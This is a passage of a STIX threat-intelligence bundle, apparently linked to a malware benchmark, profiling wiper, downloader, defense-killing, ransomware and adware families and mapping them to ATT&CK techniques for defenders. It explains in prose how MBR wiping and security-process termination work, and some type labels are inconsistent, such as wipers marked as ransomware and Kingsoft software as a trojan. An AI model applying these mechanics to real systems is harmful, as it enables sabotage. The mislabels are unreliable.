          "description": "Canonical Malware Families Catalog Technical Profile for Killdisk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/killdisk"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-054a"
        }
      ],
      "labels": [
        "wiper",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7332bfb-8009-512f-9562-17608fd55c30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0cf307d-b170-517d-b01c-add72232ebe5",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killdisk exhibits technique T1561.002 (Disk Structure Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6e62c4c-bc9d-5c8d-a57b-14682e719058",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0cf307d-b170-517d-b01c-add72232ebe5",
      "target_ref": "attack-pattern--a134ba16-58af-53fd-b661-d7da56740d9d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killdisk exhibits technique T1561.001 (Disk Content Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1ac1627-3cc5-5f53-9e21-ee74c04efd07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0cf307d-b170-517d-b01c-add72232ebe5",
      "target_ref": "attack-pattern--f4dff660-6b8e-56cd-ac2a-fd397d272c8a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killdisk exhibits technique T1070.001 (Clear Windows Event Logs)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--750719d0-b4b3-5ded-a421-2088b82ced59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0cf307d-b170-517d-b01c-add72232ebe5",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killdisk exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95a8c904-d487-55f9-af10-850722d06f27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0cf307d-b170-517d-b01c-add72232ebe5",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killdisk exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47ff789c-80ef-5701-8431-78202f3f85c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0cf307d-b170-517d-b01c-add72232ebe5",
      "target_ref": "attack-pattern--a71a63c8-767f-55cc-b621-7f5e5f29d3e3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killdisk exhibits technique T1078.002 (Domain Accounts)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e7a4a49-154c-5915-b7c7-2c8c01cd2cc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Killmbr",
      "description": "Trojan:Win32/Killmbr (or KillDisk) is a classification for destructive 'Wiper' malware whose primary function is to obliterate the Master Boot Record (MBR) (`T1561.002`) and/or the Master File Table (MFT). Unlike ransomware, which encrypts data to extort money, the sole purpose of a wiper is sabotage\u2014to render the host completely unbootable and the data permanently unrecoverable.<br><br><b>Understanding Killmbr (Destructive Wiper)</b><br>To an end-user, the machine suddenly blue-screens and upon reboot, displays a 'Missing Operating System' or a custom, mocking message from the attackers. For a SOC analyst, a wiper attack is a worst-case scenario, often deployed by nation-state actors (like the NotPetya or HermeticWiper attacks) to disrupt critical infrastructure or deployed by ransomware gangs to cover their tracks if a victim refuses to pay.<br><br><b>Execution and Destruction Mechanics</b><br>To execute its destructive payload, Killmbr *must* obtain high-level administrative or SYSTEM privileges (`T1068`). Once elevated, it uses low-level Windows APIs (like `DeviceIoControl`) to open a direct handle to the physical hard drive (e.g., `\\\\.\\PhysicalDrive0`). It then overwrites the first sector (Sector 0, the MBR) with zeroes or random garbage. Advanced variants will also overwrite the MFT and the partition tables. When the machine inevitably reboots (often forced by the malware), the BIOS cannot locate the bootloader, effectively bricking the OS.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total loss of system availability and data. Host-based IoCs include EDR alerts for a process attempting to open a handle to `\\\\.\\PhysicalDrive0` with write permissions. Attackers often use living-off-the-land tools like `vssadmin.exe` to delete shadow copies before initiating the wipe. Once the wipe occurs, the primary indicator is the physical inability to boot the machine. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Killmbr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/killmbr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4de5da1-c7a7-5ece-8eb9-aa9a1a6ff4cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e7a4a49-154c-5915-b7c7-2c8c01cd2cc3",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killmbr exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe (Overwriting the MBR to prevent booting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8963523-1a77-52db-9d58-701ac0de7b66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e7a4a49-154c-5915-b7c7-2c8c01cd2cc3",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killmbr exhibits technique T1485 (Data Destruction (Overwriting files and the MFT))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--190f9572-8900-5a4d-ae1a-2f85e523f660",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1529: System Shutdown/Reboot (Forcing a restart to trigger the unbootable state)",
      "description": "MITRE ATT&CK Technique T1529 (System Shutdown/Reboot (Forcing a restart to trigger the unbootable state)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1529",
          "url": "https://attack.mitre.org/techniques/T1529/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e3adb3f-36b4-5295-bf64-3b4cbe0e9e3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e7a4a49-154c-5915-b7c7-2c8c01cd2cc3",
      "target_ref": "attack-pattern--190f9572-8900-5a4d-ae1a-2f85e523f660",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killmbr exhibits technique T1529 (System Shutdown/Reboot (Forcing a restart to trigger the unbootable state))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--39e9c6d0-2afd-57cc-98ae-39280cb5cf63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Killnotes",
      "description": "Trojan:Win32/Killnotes is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Killnotes</b><br>To an end-user, a Killnotes infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Killnotes is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Killnotes is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Killnotes frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Killnotes reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Killnotes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/killnotes"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99971bcc-2ba3-530d-978a-1fa96619fad4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39e9c6d0-2afd-57cc-98ae-39280cb5cf63",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killnotes exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69939b7f-cabd-5051-a1f8-e9a75a851e79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39e9c6d0-2afd-57cc-98ae-39280cb5cf63",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killnotes exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83b5e2dc-8769-5dcd-bc00-56543b874c52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39e9c6d0-2afd-57cc-98ae-39280cb5cf63",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killnotes exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9272c319-f46d-55e7-9c72-f6e1ebd200bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39e9c6d0-2afd-57cc-98ae-39280cb5cf63",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killnotes exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e7a94c0-821f-5df4-acd3-8406990e3a7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39e9c6d0-2afd-57cc-98ae-39280cb5cf63",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killnotes exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a316729a-8261-5258-86b0-4ef6e365ae70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Killproc",
      "description": "Trojan:Win32/Killproc (commonly documented across security vendor telemetry as Trojan.Win32.KillProc, Win32/Killproc, or Trojan.BAT.KILLPROC) is an aggressive defense evasion utility and auxiliary trojan designed to terminate security software and forensic monitoring tools. Frequently deployed as a pre-execution stage alongside ransomware loaders, banking trojans, and coin miners, Killproc systematically enumerates active processes using the Toolhelp32 API (Process32First/Process32Next) and compares process image names against an extensive embedded blacklist of antivirus engines, endpoint detection and response (EDR) agents, packet capture tools (Wireshark), and system diagnostic utilities (Taskmgr.exe, ProcessHacker). Upon identifying matched processes, Killproc invokes OpenProcess with PROCESS_TERMINATE privileges and executes TerminateProcess to forcefully abort monitoring tools, while executing service control commands (sc.exe stop/config) to disable underlying security services. (Observed samples in benchmark: 141)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Killproc",
        "Trojan:Win32/Killproc",
        "Trojan.Win32.KillProc",
        "Win32/Killproc",
        "Trojan.BAT.KILLPROC",
        "KillProc Trojan",
        "Trojan:Win32/KillProc.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Killproc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/killproc"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a42c488-d7da-5ce7-a3fc-06d5ae5643db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a316729a-8261-5258-86b0-4ef6e365ae70",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killproc exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb7b92e3-9762-5864-bdfd-ba6cf41bc34d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a316729a-8261-5258-86b0-4ef6e365ae70",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killproc exhibits technique T1489 (Service Stop)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe243ceb-bda4-55be-8849-62e209509737",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a316729a-8261-5258-86b0-4ef6e365ae70",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killproc exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9b505d0-b8ee-57f9-8880-c83912e37dda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a316729a-8261-5258-86b0-4ef6e365ae70",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killproc exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc4d228b-c1b5-592d-a4c4-7de498130d0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a316729a-8261-5258-86b0-4ef6e365ae70",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killproc exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d161def5-0b34-5b53-89b5-e64bcfc254ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Killwin",
      "description": "<h3>Executive Summary</h3>\nKillWin is a classification for an extremely destructive category of Trojans (often referred to as \"Wipers\" or \"MBR Killers\"). Unlike ransomware, which encrypts data for financial extortion, the sole objective of KillWin malware is complete and irrecoverable system sabotage. It is designed to permanently destroy the operating system, erase all user data, and render the workstation entirely unbootable.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKillWin malware is typically deployed in the final stages of a targeted attack (often by nation-state actors or disgruntled insiders) to destroy forensic evidence after data exfiltration, or as a tool of pure cyber warfare to paralyze an organization.\n\nUpon execution, KillWin bypasses all subtlety and immediately attacks the core of the OS:\n<ul>\n<li><strong>MBR/VBR Destruction:</strong> The most critical action is the overwriting of the Master Boot Record (MBR) or Volume Boot Record (VBR) on the physical hard drive. This instantly breaks the boot sequence, resulting in a \"Missing Operating System\" or \"Blue Screen of Death\" upon the next restart.</li>\n<li><strong>File System Sabotage:</strong> Before forcing a reboot, the malware may rapidly iterate through the `C:\\Windows\\System32` directory, systematically deleting or corrupting critical DLLs and registry hives.</li>\n<li><strong>Irrecoverable Data Wiping:</strong> Advanced variants may utilize low-level API calls to overwrite sectors of the hard drive with random data (zeros), completely preventing data recovery via standard forensic carving tools.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA KillWin execution is a catastrophic event for the endpoint. The machine is instantly rendered unusable, and all local data must be considered permanently destroyed. If deployed via Active Directory Group Policy (GPO) or a software deployment tool (like SCCM), it can \"brick\" an entire corporate network in minutes.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Power-Off:</strong> If an active wiping process is suspected (rapid disk activity, system instability), the machine should be powered off immediately (hard shutdown) to prevent further sector overwriting.</li>\n<li><strong>Forensic Imaging (Offline):</strong> Do not attempt to boot the machine. Remove the physical drive and create a forensic image offline. Recovery *might* be possible if only the MBR was corrupted, but not if the data sectors were overwritten.</li>\n<li><strong>Restore from Immutable Backups:</strong> The only viable remediation is a complete bare-metal wipe, recreation of the Master Boot Record, and restoration of the OS and user data from offline, immutable backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.KillWin",
        "Wiper.KillWin",
        "Trojan.MBRKiller"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Killwin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/killwin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7331acb9-7841-5c9e-812f-0150d317af07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d161def5-0b34-5b53-89b5-e64bcfc254ed",
      "target_ref": "attack-pattern--a134ba16-58af-53fd-b661-d7da56740d9d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killwin exhibits technique T1561.001 (Disk Wipe: Disk Content Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c211a2f6-a0c6-58eb-ab36-244d5662983c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d161def5-0b34-5b53-89b5-e64bcfc254ed",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killwin exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c2d1cfe-e13c-5157-8443-d5f5bdb7aa65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d161def5-0b34-5b53-89b5-e64bcfc254ed",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Killwin exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46684be0-3d3a-5a91-9df7-c1ea1b5592e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kingsoft",
      "description": "PUA:Win32/Kingsoft (often associated with **Kingsoft Antivirus** or **WPS Office**) refers to software from the Chinese software developer Kingsoft that is frequently flagged by Western security vendors as a Potentially Unwanted Program (PUA) or Adware. While Kingsoft produces legitimate, functional software, its aggressive bundling tactics, intrusive telemetry collection, and difficult uninstallation processes cause it to be classified as a security and compliance risk in many enterprise environments.<br><br><b>Understanding the Kingsoft Flag</b><br>To an end-user, they may have intentionally downloaded WPS Office as a free alternative to Microsoft Word, or they may have accidentally installed Kingsoft Antivirus bundled with another program. They will likely experience excessive pop-up notifications and performance degradation. For a security analyst, the presence of Kingsoft software often violates corporate Acceptable Use Policies (AUP) due to its aggressive data collection (telemetry) and the risk of supply chain vulnerabilities associated with untrusted, deeply integrated system software.<br><br><b>Execution and PUA Mechanics</b><br>Kingsoft software is frequently distributed via software bundlers (`T1189`) or pre-installed on certain hardware. Upon execution, it integrates deeply into the Windows operating system. Kingsoft Antivirus, by nature, installs kernel-level drivers (`T1543.003`) to monitor system activity. The PUA behavior manifests in its aggressive monetization strategies: it injects advertisements into the desktop environment (`T1562`), aggressively prompts users to install other affiliated software, and forcefully alters default browser settings and file associations (`T1546.001`). Furthermore, the software frequently resists uninstallation, requiring specialized removal tools to strip its persistence mechanisms from the registry.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily a compliance violation, a degraded user experience, and potential privacy risks due to aggressive telemetry exfiltration. IoCs include EDR alerts for the installation of known Kingsoft binaries (e.g., `kxetray.exe`, `wps.exe`) and the creation of Kingsoft-associated Windows Services. Network analysts may observe heavy outbound telemetry traffic directed toward servers located in China. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kingsoft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kingsoft"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2024-7262"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f87df45b-9afa-58fc-b74e-b084bf419314",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46684be0-3d3a-5a91-9df7-c1ea1b5592e9",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kingsoft exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a49a8850-d815-52cb-9373-78442d8b707d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46684be0-3d3a-5a91-9df7-c1ea1b5592e9",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kingsoft exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Installing kernel drivers/watchdogs))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6704b53e-b1a0-5c63-9400-ca25ce6dd0eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1546.001: Event Triggered Execution: Change Default File Association",
      "description": "MITRE ATT&CK Technique T1546.001 (Event Triggered Execution: Change Default File Association) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1546.001",
          "url": "https://attack.mitre.org/techniques/T1546/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81753753-bd5c-5cc5-82c1-3ec8dc7cb144",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46684be0-3d3a-5a91-9df7-c1ea1b5592e9",
      "target_ref": "attack-pattern--6704b53e-b1a0-5c63-9400-ca25ce6dd0eb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kingsoft exhibits technique T1546.001 (Event Triggered Execution: Change Default File Association)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab2fdd74-6c64-5147-beaa-2abfc6014c56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kirts",
      "description": "Kirts (classified across antimalware research as Ransom:Win32/Kirts and Trojan-Ransom.Win32.Kirts) is a targeted crypto-ransomware family designed to execute destructive file encryption across Windows endpoints and file servers. Propagated through weaponized email attachments and compromised RDP connections, Kirts terminates running office and database processes to clear file locks before encryption. It leverages AES-256 symmetric encryption to lock files and appends .kirts to filenames, placing ransom notes titled HOW_TO_RESTORE_KIRTS.txt in affected directories. To ensure payment compliance, Kirts executes shell commands to purge Volume Shadow Copies via vssadmin and disables Windows startup recovery. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Kirts",
        "Trojan-Ransom.Win32.Kirts",
        "Win32/Kirts",
        "Kirts Ransomware",
        "Ransom.Kirts"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kirts",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kirts"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79bb42f3-e62c-5e83-9058-06d79e732004",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab2fdd74-6c64-5147-beaa-2abfc6014c56",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kirts exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3b5a8a4-816a-5a69-b61c-4fe0698702a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab2fdd74-6c64-5147-beaa-2abfc6014c56",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kirts exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
